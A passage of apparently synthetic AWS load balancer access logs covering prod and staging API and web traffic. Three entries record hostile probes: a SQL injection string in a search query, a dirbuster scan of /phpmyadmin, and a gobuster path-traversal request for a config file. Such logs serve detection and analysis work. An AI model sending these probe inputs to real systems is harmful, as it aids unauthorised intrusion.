arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7ba-6a10b4b8df554c2999546b90" "prod-web-alb.example.com" "-" 7 2024-11-01T01:08:58.462866Z "forward" "-" "-" "10.0.133.120:443" "200" "-" "-" -https 2024-11-01T01:08:59.326990Z prod-api-alb 21.99.118.204:14668 10.0.111.101:443 0.026711 0.164141 0.089727 301 301 623 14279 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7bb-f3fc01e058f348b3826e749a" "prod-api-alb.example.com" "-" 10 2024-11-01T01:08:59.326990Z "forward" "-" "-" "10.0.111.101:443" "301" "-" "-" -https 2024-11-01T01:09:00.537317Z prod-api-alb 78.114.202.238:40729 10.0.2.162:443 0.080740 0.210691 0.015924 302 302 511 11971 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7bc-9648a0544c1a4bb59aa1b0a6" "prod-api-alb.example.com" "-" 9 2024-11-01T01:09:00.537317Z "forward" "-" "-" "10.0.2.162:443" "302" "-" "-" -https 2024-11-01T01:09:02.134460Z prod-api-alb 149.231.34.135:25255 10.0.247.77:443 0.055682 0.216856 0.023802 301 301 598 13256 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7be-2492902cc52649d382c7be9c" "prod-api-alb.example.com" "-" 1 2024-11-01T01:09:02.134460Z "forward" "-" "-" "10.0.247.77:443" "301" "-" "-" -https 2024-11-01T01:09:02.550144Z staging-alb 5.241.10.9:14524 182.116.233.131:443 0.131196 0.355796 0.096746 200 200 498 11515 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7be-85584c7f32fd48ada68ca218" "staging-alb.example.com" "-" 7 2024-11-01T01:09:02.550144Z "forward" "-" "-" "182.116.233.131:443" "200" "-" "-" -https 2024-11-01T01:09:03.026413Z prod-api-alb 8.152.144.90:61936 10.0.47.99:443 0.099569 0.167246 0.024889 200 200 76 12969 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7bf-9027672055634ff8b47086f5" "prod-api-alb.example.com" "-" 10 2024-11-01T01:09:03.026413Z "forward" "-" "-" "10.0.47.99:443" "200" "-" "-" -https 2024-11-01T01:09:04.510284Z prod-web-alb 153.142.128.138:41350 10.0.166.157:443 0.093632 0.479402 0.029387 404 404 775 8878 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7c0-f4923719aa9340b1aea0951f" "prod-web-alb.example.com" "-" 9 2024-11-01T01:09:04.510284Z "forward" "-" "-" "10.0.166.157:443" "404" "-" "-" -https 2024-11-01T01:09:04.635749Z prod-web-alb 248.189.170.0:22205 10.0.59.185:443 0.069700 0.465950 0.028864 200 200 521 7698 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7c0-47bf02b8c0534d088d55b524" "prod-web-alb.example.com" "-" 4 2024-11-01T01:09:04.635749Z "forward" "-" "-" "10.0.59.185:443" "200" "-" "-" -https 2024-11-01T01:09:06.412486Z staging-alb 19.28.243.165:37112 33.143.171.202:8080 0.069455 0.725150 0.008494 200 200 594 6765 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7c2-5674461fadc7426990f222c9" "staging-alb.example.com" "-" 3 2024-11-01T01:09:06.412486Z "forward" "-" "-" "33.143.171.202:8080" "200" "-" "-" -https 2024-11-01T01:09:06.705272Z prod-web-alb 122.2.247.33:29529 10.0.166.5:443 0.055514 0.059201 0.001875 302 302 449 8998 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7c2-59d8e67d9035427a8269f0fd" "prod-web-alb.example.com" "-" 3 2024-11-01T01:09:06.705272Z "forward" "-" "-" "10.0.166.5:443" "302" "-" "-" -http 2024-11-01T01:09:07.457049Z staging-alb 106.165.213.197:52514 233.196.54.130:443 0.036099 0.257092 0.122643 200 200 89 10471 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7c3-c478634b602b457f9c3a8140" "staging-alb.example.com" "-" 3 2024-11-01T01:09:07.457049Z "forward" "-" "-" "233.196.54.130:443" "200" "-" "-" -http 2024-11-01T01:09:08.522096Z staging-alb 37.110.195.201:57203 254.131.94.93:8080 0.111327 0.152143 0.148494 200 200 216 11360 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7c4-d4f959dfaf774f0cb1080d72" "staging-alb.example.com" "-" 6 2024-11-01T01:09:08.522096Z "forward" "-" "-" "254.131.94.93:8080" "200" "-" "-" -https 2024-11-01T01:09:08.981756Z prod-api-alb 151.192.1.121:22583 10.0.213.10:443 0.029472 0.370648 0.090482 200 200 39 10570 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7c4-ba169d0897364ce7a887af71" "prod-api-alb.example.com" "-" 7 2024-11-01T01:09:08.981756Z "forward" "-" "-" "10.0.213.10:443" "200" "-" "-" -https 2024-11-01T01:09:09.166732Z staging-alb 185.181.21.23:22037 82.116.106.210:80 0.100355 0.003165 0.141187 500 500 895 7207 "POST /search?q=1' UNION SELECT HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7c5-1bd981d23e4d44829ea7d1c1" "-" "-" 1 2024-11-01T01:09:09.166732Z "forward" "-" "-" "82.116.106.210:80" "500" "-" "-" -http 2024-11-01T01:09:10.379989Z staging-alb 156.146.36.21:19660 61.78.224.20:80 0.097968 0.123899 0.094449 404 404 966 8488 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7c6-f877b040efc4421fad86b43f" "staging-alb.example.com" "-" 5 2024-11-01T01:09:10.379989Z "forward" "-" "-" "61.78.224.20:80" "404" "-" "-" -http 2024-11-01T01:09:12.137935Z staging-alb 158.167.242.81:54543 22.69.120.44:443 0.142906 0.532599 0.007975 302 302 708 6926 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7c8-478955a19ebe4e96ab6a4b2b" "staging-alb.example.com" "-" 0 2024-11-01T01:09:12.137935Z "forward" "-" "-" "22.69.120.44:443" "302" "-" "-" -http 2024-11-01T01:09:13.925311Z staging-alb 35.151.183.131:52870 252.187.94.24:80 0.004581 0.171912 0.024594 200 200 897 11763 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7c9-a23edc220277411098360d38" "staging-alb.example.com" "-" 2 2024-11-01T01:09:13.925311Z "forward" "-" "-" "252.187.94.24:80" "200" "-" "-" -http 2024-11-01T01:09:15.815638Z staging-alb 217.97.115.250:62177 107.10.7.203:443 0.051663 0.483031 0.114689 200 200 543 1942 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7cb-d476f42b1df44f1ca1c0a01a" "staging-alb.example.com" "-" 4 2024-11-01T01:09:15.815638Z "forward" "-" "-" "107.10.7.203:443" "200" "-" "-" -https 2024-11-01T01:09:16.509287Z prod-api-alb 136.28.189.208:53468 10.0.200.121:443 0.016276 0.282947 0.062890 200 200 680 13956 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7cc-f379705dda214f7794ca44b5" "prod-api-alb.example.com" "-" 4 2024-11-01T01:09:16.509287Z "forward" "-" "-" "10.0.200.121:443" "200" "-" "-" -https 2024-11-01T01:09:17.055844Z prod-api-alb 114.246.37.164:18976 10.0.51.98:443 0.021186 0.352682 0.054116 200 200 566 5682 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7cd-2fd1a5d75a1d42d08fa66803" "prod-api-alb.example.com" "-" 3 2024-11-01T01:09:17.055844Z "forward" "-" "-" "10.0.51.98:443" "200" "-" "-" -https 2024-11-01T01:09:17.674059Z prod-api-alb 193.48.11.237:48266 10.0.169.253:443 0.074770 0.133925 0.016752 302 302 390 3827 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7cd-a02eba9b77a54f5aa4482fd2" "prod-api-alb.example.com" "-" 2 2024-11-01T01:09:17.674059Z "forward" "-" "-" "10.0.169.253:443" "302" "-" "-" -https 2024-11-01T01:09:18.245166Z prod-web-alb 29.189.15.254:51528 10.0.66.54:443 0.055794 0.489895 0.095009 200 200 116 14524 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7ce-52c1541ea85b492ba30961b1" "prod-web-alb.example.com" "-" 5 2024-11-01T01:09:18.245166Z "forward" "-" "-" "10.0.66.54:443" "200" "-" "-" -https 2024-11-01T01:09:19.508880Z staging-alb 139.157.26.254:36120 155.159.186.112:443 0.025226 0.442658 0.133732 200 200 984 645 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7cf-b2a14b81c243484ca8c1ef60" "-" "-" 4 2024-11-01T01:09:19.508880Z "forward" "-" "-" "155.159.186.112:443" "200" "-" "-" -https 2024-11-01T01:09:20.484225Z prod-web-alb 45.155.205.102:48430 10.0.222.216:443 0.008410 0.461367 0.089979 401 401 423 4399 "GET /phpmyadmin HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7d0-ff326574992945e7a4acc259" "-" "-" 9 2024-11-01T01:09:20.484225Z "forward" "-" "-" "10.0.222.216:443" "401" "-" "-" -http 2024-11-01T01:09:22.186069Z staging-alb 209.65.22.57:11550 209.39.65.150:443 0.042158 0.049689 0.044328 301 301 127 7258 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7d2-66d90e684e7443eea1f87c0c" "staging-alb.example.com" "-" 5 2024-11-01T01:09:22.186069Z "forward" "-" "-" "209.39.65.150:443" "301" "-" "-" -https 2024-11-01T01:09:22.552966Z staging-alb 188.174.46.12:22446 62.201.12.65:80 0.047701 0.240342 0.119031 200 200 769 9758 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7d2-3361f8d28376424d972b9351" "staging-alb.example.com" "-" 10 2024-11-01T01:09:22.552966Z "forward" "-" "-" "62.201.12.65:80" "200" "-" "-" -https 2024-11-01T01:09:23.609433Z prod-api-alb 217.179.206.58:18587 10.0.21.63:443 0.007532 0.128640 0.003611 200 200 618 1040 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7d3-0397ef2bcab04615b622d38a" "prod-api-alb.example.com" "-" 7 2024-11-01T01:09:23.609433Z "forward" "-" "-" "10.0.21.63:443" "200" "-" "-" -https 2024-11-01T01:09:24.503096Z staging-alb 45.155.205.185:36375 155.249.183.48:80 0.000598 0.472035 0.065741 403 403 625 7747 "GET /api/../../../config HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7d4-6dd97045c34647e4a5df299c" "-" "-" 1 2024-11-01T01:09:24.503096Z "forward" "-" "-" "155.249.183.48:80" "403" "-" "-" -https 2024-11-01T01:09:25.986347Z prod-web-alb 205.172.121.204:55491 10.0.235.60:443 0.010295 0.244358 0.045137 200 200 705 6293 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7d5-41cb37d46a2d4e3da737d50c" "prod-web-alb.example.com" "-" 0 2024-11-01T01:09:25.986347Z "forward" "-" "-" "10.0.235.60:443" "200" "-" "-" -https 2024-11-01T01:09:27.512242Z prod-api-alb 251.98.183.138:32026 10.0.242.110:443 0.032429 0.096359 0.000456 200 200 348 12889 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7d7-c93d62ecfed84ed2aebe30a4" "prod-api-alb.example.com" "-" 1 2024-11-01T01:09:27.512242Z "forward" "-" "-" "10.0.242.110:443" "200" "-" "-" -https 2024-11-01T01:09:29.291192Z prod-web-alb 107.64.194.204:42704 10.0.24.52:443 0.035421 0.443991 0.083793 200 200 588 11978 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7d9-7db060df094147a6bf83e8a1" "prod-web-alb.example.com" "-" 9 2024-11-01T01:09:29.291192Z "forward" "-" "-" "10.0.24.52:443" "200" "-" "-" -https 2024-11-01T01:09:30.233778Z prod-api-alb 226.142.5.162:41557 10.0.157.246:443 0.039107 0.364023 0.056274 404 404 302 4214 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7da-fc72746dbd364deb9facddaf" "prod-api-alb.example.com" "-" 6 2024-11-01T01:09:30.233778Z "forward" "-" "-" "10.0.157.246:443" "404" "-" "-" -https 2024-11-01T01:09:30.636102Z prod-api-alb 165.100.224.10:26362 10.0.239.81:443 0.084577 0.032662 0.008859 200 200 502 11865 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7da-3b1ec3d658ab4a6bbf255480" "prod-api-alb.example.com" "-" 7 2024-11-01T01:09:30.636102Z "forward" "-" "-" "10.0.239.81:443" "200" "-" "-" -https 2024-11-01T01:09:31.537359Z prod-api-alb 52.233.131.163:58526 10.0.99.57:443 0.011930 0.163223 0.009100 200 200 149 13412 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7db-5b0783f28ab14279b8a631a3" "prod-api-alb.example.com" "-" 10 2024-11-01T01:09:31.537359Z "forward" "-" "-" "10.0.99.57:443" "200" "-" "-" -https 2024-11-01T01:09:32.688294Z prod-web-alb 72.57.206.206:24492 10.0.16.206:443 0.045711 0.137095 0.070709 404 404 744 6952 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7dc-f20842f80f4b4010808fcf0a" "prod-web-alb.example.com" "-" 4 2024-11-01T01:09:32.688294Z "forward" "-" "-" "10.0.16.206:443" "404" "-" "-" -http 2024-11-01T01:09:32.954932Z staging-alb 195.55.84.163:55040 199.125.173.238:8080 0.050198 0.573639 0.057136 200 200 995 9212 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7dc-d4964fe1d36f410a96444236" "staging-alb.example.com" "-" 10 2024-11-01T01:09:32.954932Z "forward" "-" "-" "199.125.173.238:8080" "200" "-" "-" -https 2024-11-01T01:09:33.446693Z prod-api-alb 15.91.233.146:54878 10.0.73.199:443 0.042112 0.225574 0.096833 200 200 297 8725 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7dd-40064d48aca34828a0028e9b" "prod-api-alb.example.com" "-" 8 2024-11-01T01:09:33.446693Z "forward" "-" "-" "10.0.73.199:443" "200" "-" "-" -https 2024-11-01T01:09:34.585372Z prod-web-alb 20.218.43.45:27592 10.0.98.76:443 0.098995 0.422609 0.020301 301 301 682 5921 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7de-0c4a3b1c7ee840ce8579d28c" "prod-web-alb.example.com" "-" 1 2024-11-01T01:09:34.585372Z "forward" "-" "-" "10.0.98.76:443" "301" "-" "-" -https 2024-11-01T01:09:36.436567Z prod-api-alb 217.58.66.145:30940 10.0.43.221:443 0.039433 0.185244 0.012328 200 200 79 8780 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7e0-2939bbada0dd41f69d55b6b4" "prod-api-alb.example.com" "-" 8 2024-11-01T01:09:36.436567Z "forward" "-" "-" "10.0.43.221:443" "200" "-" "-" -https 2024-11-01T01:09:36.888038Z staging-alb 250.72.98.204:33614 126.175.31.165:80 0.084411 0.365593 0.052285 200 200 978 10385 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7e0-177407f860fa448682fd7e44" "staging-alb.example.com" "-" 3 2024-11-01T01:09:36.888038Z "forward" "-" "-" "126.175.31.165:80" "200" "-" "-" -https 2024-11-01T01:09:38.432411Z prod-api-alb 117.214.136.247:41489 10.0.48.157:443 0.044368 0.344306 0.054051 200 200 144 8177 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7e2-63e51e10dd39409f8484cc76" "prod-api-alb.example.com" "-" 9 2024-11-01T01:09:38.432411Z "forward" "-" "-" "10.0.48.157:443" "200" "-" "-" -http 2024-11-01T01:09:39.177475Z staging-alb 186.8.52.155:23235 136.112.208.147:80 0.006799 0.536502 0.015419 404 404 424 1684 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7e3-784be77a362a4fdb801f9ec4" "staging-alb.example.com" "-" 6 2024-11-01T01:09:39.177475Z "forward" "-" "-" "136.112.208.147:80" "404" "-" "-" -https 2024-11-01T01:09:40.597928Z prod-api-alb 166.216.105.139:31748 10.0.144.146:443 0.055525 0.027197 0.015231 301 301 575 2092 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7e4-dae7984bbc154df69d941ec7" "prod-api-alb.example.com" "-" 6 2024-11-01T01:09:40.597928Z "forward" "-" "-" "10.0.144.146:443" "301" "-" "-" -https 2024-11-01T01:09:42.017871Z prod-api-alb 164.55.242.57:50850 10.0.92.242:443 0.087451 0.394206 0.054492 404 404 681 725 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7e6-b849b8485dc445e897346942" "prod-api-alb.example.com" "-" 7 2024-11-01T01:09:42.017871Z "forward" "-" "-" "10.0.92.242:443" "404" "-" "-" -https 2024-11-01T01:09:43.929879Z staging-alb 101.210.109.230:51341 99.75.38.248:80 0.029607 0.088490 0.064657 404 404 45 14648 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7e7-425c87cbf1c04360a06d6a29" "staging-alb.example.com" "-" 7 2024-11-01T01:09:43.929879Z "forward" "-" "-" "99.75.38.248:80" "404" "-" "-" -https 2024-11-01T01:09:45.126137Z prod-web-alb 231.158.10.149:19415 10.0.121.1:443 0.087249 0.214740 0.095203 404 404 231 283 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7e9-d27a2a9444854ac2aab1a397" "prod-web-alb.example.com" "-" 6 2024-11-01T01:09:45.126137Z "forward" "-" "-" "10.0.121.1:443" "404" "-" "-" -https 2024-11-01T01:09:45.411749Z prod-api-alb 147.28.46.56:64879 10.0.131.148:443 0.040650 0.265599 0.006848 200 200 598 4515 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7e9-f2457d5c09734f0bad24919b" "prod-api-alb.example.com" "-" 5 2024-11-01T01:09:45.411749Z "forward" "-" "-" "10.0.131.148:443" "200" "-" "-" -https 2024-11-01T01:09:46.980877Z prod-web-alb 234.148.206.76:18300 10.0.233.17:443 0.012178 0.121770 0.079070 200 200 368 455 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7ea-2ce6103c1afd4126b8bbd67b" "prod-web-alb.example.com" "-" 3 2024-11-01T01:09:46.980877Z "forward" "-" "-" "10.0.233.17:443" "200" "-" "-" -https 2024-11-01T01:09:48.523696Z prod-web-alb 225.50.145.230:55653 10.0.223.91:443 0.033066 0.379523 0.005092 200 200 52 10665 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7ec-27f8d5e26eb643e99bf1fdae" "prod-web-alb.example.com" "-" 7 2024-11-01T01:09:48.523696Z "forward" "-" "-" "10.0.223.91:443" "200" "-" "-" -https 2024-11-01T01:09:49.497344Z prod-web-alb 9.197.88.15:59365 10.0.194.242:443 0.089362 0.381822 0.065668 200 200 497 2065 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" 